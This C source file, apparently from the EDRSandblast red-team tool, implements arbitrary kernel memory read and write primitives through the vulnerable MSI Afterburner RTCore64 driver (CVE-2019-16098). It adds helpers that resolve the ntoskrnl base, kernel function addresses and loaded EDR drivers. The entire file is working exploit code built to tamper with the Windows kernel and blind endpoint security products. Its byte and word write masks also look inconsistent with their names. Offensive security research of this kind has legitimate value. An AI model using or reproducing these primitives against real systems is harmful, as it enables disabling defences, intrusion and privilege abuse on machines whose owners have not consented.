Files
wavestone-cdt-edrsandblast/EDRSandblast/Utils/KernelMemoryPrimitives.c
T
2021-11-10 01:12:48 +01:00

175 lines
5.4 KiB
C

/*
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
*/
#include "KernelMemoryPrimitives.h"
static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_READ_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
NULL);
return MemoryRead.Value;
}
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
MemoryRead.Value = Value;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_WRITE_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
NULL);
}
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 1, Address) & 0xff;
}
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
}
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff;
}
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
}
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) {
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value);
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) {
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value);
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
/*
--- Kernel exploitation helpers.
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
*/
DWORD64 FindNtoskrnlBaseAddress(void) {
DWORD cbNeeded = 0;
LPVOID drivers[1024];
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
return (DWORD64)drivers[0];
}
return 0;
}
TCHAR* FindDriver(DWORD64 address, BOOL verbose) {
LPVOID drivers[1024];
DWORD cbNeeded;
int cDrivers = 0;
int i = 0;
TCHAR szDriver[1024] = { 0 };
DWORD64 minDiff = MAXDWORD64;
DWORD64 diff;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
cDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < cDrivers; i++) {
if ((DWORD64)drivers[i] <= address) {
diff = address - (DWORD64)drivers[i];
if (diff < minDiff) {
minDiff = diff;
}
}
}
}
else {
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
if (verbose) {
_tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff);
}
TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR));
if (!ptrDrvier) {
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n"));
return NULL;
}
_tcscpy_s(ptrDrvier, 1024, szDriver);
return ptrDrvier;
}
else {
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
}
HANDLE GetDriverHandle() {
TCHAR service[] = TEXT("\\\\.\\RTCore64");
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (Device == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
exit(EXIT_FAILURE);
}
return Device;
}
DWORD64 GetFunctionAddress(LPCSTR function) {
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
DWORD64 address = 0;
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
if (ntoskrnl) {
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
address = ntoskrnlBaseAddress + offset;
FreeLibrary(ntoskrnl);
}
// _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address);
return address;
}